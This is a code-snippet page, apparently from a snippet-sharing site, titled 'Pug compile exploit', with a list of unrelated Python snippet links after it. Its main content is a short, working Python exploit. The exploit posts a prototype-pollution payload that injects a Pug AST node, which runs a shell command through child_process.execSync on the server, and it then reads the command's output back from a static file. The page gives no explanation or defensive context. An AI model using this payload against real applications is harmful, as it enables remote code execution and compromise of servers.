Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

1 vote166 views1 answer
Tkinter allign
Python
12 votes167 views3 answers
Delete all files in a directory python
Python
0 vote178 views1 answer
Pytest fixtures scope explained
Python
0 vote180 views1 answer
Jupyter markdown new line
Python
0 vote176 views1 answer
Nltk regex parser
Python
0 vote180 views1 answer
How to test that an exception was raise using pytest
Python
0 vote192 views1 answer
Python list key string
Python
24 votes174 views6 answers
Order dictionary by value python
Python
0 vote229 views4 answers
Select series of columns
Python
2 votes244 views2 answers
Python program to find first n prime numbers
Python